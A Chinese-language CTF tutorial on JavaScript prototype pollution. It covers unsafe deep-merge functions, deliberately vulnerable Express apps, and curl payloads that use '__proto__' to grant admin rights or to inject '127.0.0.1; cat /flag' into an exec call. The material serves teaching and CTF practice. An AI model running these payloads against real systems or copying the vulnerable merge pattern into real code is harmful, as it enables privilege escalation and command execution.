原型链污染
原型链污染 (Prototype Chain Pollution)
1. 核心概念是什么?
首先,也是最重要的一点:这是一个 JavaScript 漏洞,通常出现在 Node.js 后端。它和 PHP 无关。
原型 (Prototype): 在 JavaScript 中,几乎所有对象都有一个内部链接指向另一个对象,这个对象就是它的“原型”。当你试图访问一个对象的属性时,如果在该对象本身上找不到,JavaScript 引擎就会沿着原型链向上查找。
Object.prototype: 它是原型链的顶端,可以看作是所有对象的“老祖宗”。
污染 (Pollution): 原型链污染指的是,攻击者通过某种方式,成功地修改了 Object.prototype,向其中添加了新的属性。
后果: 一旦“老祖宗”被修改,那么在这个应用中,所有通过 {} 或 new Object() 创建的对象,都会“继承”这个被污染的属性。
漏洞的根源:通常出现在不安全的对象合并 (merge)、克隆 (clone) 或路径赋值的函数中。当这些函数递归地处理一个由攻击者构造的 JSON 对象时,可能会错误地把 __proto__ 当作一个普通的键来处理,从而导致对 Object.prototype 的修改。
2. 在 CTF 中如何判断?
- 代码审计(白盒,通常是 Node.js):
寻找不安全的合并逻辑: 查找实现对象深拷贝或合并功能的代码,特别是递归合并。
// 易受攻击的合并函数模式
function merge(target, source) {
for (let key in source) {
if (typeof target[key] === 'object' && source[key] !== null) {
merge(target[key], source[key]); // 递归调用
} else {
target[key] = source[key]; // 赋值
}
}
}
检查库版本: 检查 package.json 文件,看是否使用了存在已知原型链污染漏洞的库的旧版本(例如 lodash, qs, ejs 等)。
- 黑盒测试:
寻找JSON输入点: 寻找接受 JSON 输入的地方,比如 URL 的查询参数(?a[b][c]=value)、POST 请求的 JSON body。
发送污染 payload: 尝试发送一个包含 __proto__ 键的 payload。
URL 查询参数: ?__proto__[polluted]=true
JSON Body: {"__proto__": {"polluted": true}}
验证污染: 发送污染 payload 后,请求应用的其他功能,观察是否有异常。比如,一个原本正常的 API 请求突然返回了 {"polluted": true},或者一个模板渲染出现了意想不到的结果,这都说明原型链可能被污染了。
3. 在 CTF 中如何使用?
利用原型链污染的核心是寻找一个 Gadget Property。你污染原型链本身没有用,你必须污染一个会被应用程序代码在后续逻辑中使用的属性。
利用流程:
- 寻找 Gadget: 审计代码,寻找那些使用某个对象属性但没有严格验证其来源的代码。
- 权限检查:
if (session.user.isAdmin) { ... } - 命令执行:
child_process.exec('ls ' + options.path) - 模板渲染:
res.render('index', { data: user.settings }) - 构造污染 Payload: 假设你找到了一个
isAdmin的 Gadget,你可以发送如下 payload 来污染原型链:?__proto__[isAdmin]=true - 触发 Gadget: 在污染成功后,再次请求那个会使用到
isAdmin属性的业务逻辑。
比如,你再次访问个人中心页面。代码在检查 session.user.isAdmin 时,发现 session.user 对象本身没有 isAdmin 属性,于是沿着原型链向上找,最终在 Object.prototype 上找到了你注入的 isAdmin: true,从而让你获得了管理员权限。
简单示例:
目标代码 (Vulnerable Node.js/Express App):
const express = require('express');
const app = express();
app.use(express.json());
// 不安全的合并函数
function merge(target, source) { /* ... 和上面一样的易受攻击的代码 ... */ }
let session = { user: { name: 'guest' } };
// 接受用户设置并合并,这里是污染入口
app.post('/settings', (req, res) => {
merge(session.user, req.body);
res.send('Settings updated!');
});
// 只有 admin 能访问的路由,这里是 Gadget
app.get('/admin', (req, res) => {
if (session.user.isAdmin === true) {
res.send('Welcome, Admin! Here is the flag: ctf{...}');
} else {
res.send('Access denied.');
}
});
app.listen(3000);
你的利用步骤:
第一步:发送污染 payload
curl -X POST -H "Content-Type: application/json" -d '{"__proto__": {"isAdmin": true}}' http://localhost:3000/settings
第二步:触发 Gadget
curl http://localhost:3000/admin
你会看到返回了 flag,因为 session.user 对象继承了被污染的 isAdmin: true 属性。
例题:JavaScript 原型链污染 (经典题目改编)
这个例子展示了如何通过一个不安全的深拷贝函数污染原型链,并利用一个后续的 Gadget 来执行任意代码。
题目描述
名称: “NodeJS Config Service”
目标: 这是一个简单的配置服务,允许用户通过 API 更新他们的配置。服务后台使用了 child_process 来执行一些系统命令。请获取服务器的 /flag 文件内容。
源代码 (server.js):
const express = require('express');
const app = express();
const { exec } = require('child_process');
app.use(express.json());
// 一个不安全的深拷贝/合并函数
function deepMerge(target, source) {
for (const key in source) {
if (Object.prototype.hasOwnProperty.call(source, key)) {
if (target[key] && typeof target[key] === 'object') {
deepMerge(target[key], source[key]); // 递归合并
} else {
target[key] = source[key]; // 直接赋值
}
}
}
return target;
}
let userConfig = {
username: 'default',
settings: {
theme: 'dark',
notifications: true
},
// 一个危险的 Gadget
runDiagnostics: function() {
// 默认情况下,这个命令是安全的
let cmd = this.settings.pingHost || '127.0.0.1';
exec(`ping -c 1 ${cmd}`, (err, stdout, stderr) => {
console.log(stdout);
});
}
};
// 污染入口:允许用户更新配置
app.post('/api/config', (req, res) => {
deepMerge(userConfig, req.body);
userConfig.runDiagnostics(); // 每次更新配置后,自动运行诊断
res.json({ message: 'Config updated' });
});
app.listen(3000, () => console.log('Server is running on port 3000'));
解析
漏洞判断
入口点: deepMerge 函数是典型的易受攻击的模式。当它处理 key 为 proto 的情况时,target[key] 实际上会变成 target[‘proto’],这就会导致我们能够访问并修改 target 的原型。由于 target 在这里是 userConfig,一个普通对象,最终我们会污染到 Object.prototype。
寻找 Gadget: runDiagnostics 函数中存在命令执行 exec。命令的内容部分来自于 this.settings.pingHost。如果 userConfig.settings 对象中没有 pingHost 属性,JavaScript 就会沿着原型链向上查找。如果我们能污染 Object.prototype,给它添加一个 pingHost 属性,那么这里的代码就会使用我们注入的值。
构建利用链
通过 /api/config接口,发送一个恶意的 JSON。
这个 JSON 会利用 deepMerge 函数中的 proto 漏洞,在 Object.prototype 上添加一个名为 pingHost 的属性。
deepMerge 执行完毕后,代码会调用 userConfig.runDiagnostics()。
在 runDiagnostics 内部,当代码试图访问 this.settings.pingHost 时,由于 userConfig.settings 本身没有这个属性,它会从被污染的原型中找到我们注入的恶意命令。
exec 函数最终执行了我们构造的命令。
构造 Exploit Payload
我们想执行的命令是读取 /flag 文件。我们可以使用 ; 来注入新命令,例如 127.0.0.1; cat /flag。
我们需要构造一个 JSON,当它被 deepMerge 处理时,能够将 Object.prototype.pingHost 设置为我们的恶意命令。
Payload (JSON Body):
{
"settings": {
"__proto__": {
"pingHost": "127.0.0.1; cat /flag"
}
}
}
解析:当 deepMerge 递归到 settings 对象时,target 是 userConfig.settings,source 是我们 payload 中的 {“proto”: …}。当 key 为 proto 时,target[key] 就会修改 userConfig.settings 的原型,也就是 Object.prototype。source[key] 是 {“pingHost”: …},于是 pingHost 属性就被成功添加到了 Object.prototype 上。
使用
使用 curl 或 Postman 等工具,向 /api/config 发送一个 POST 请求。
curl -X POST \
http://localhost:3000/api/config \
-H 'Content-Type: application/json' \
-d '{
"settings": {
"__proto__": {
"pingHost": "127.0.0.1; cat /flag"
}
}
}'
发送请求后,服务器会执行 ping -c 1 127.0.0.1; cat /flag。flag 的内容会显示在运行 server.js 的那个服务器端的终端上,作为 stdout 被打印出来。在 CTF 比赛中,通常会通过其他方式(比如反弹 shell)来获取输出。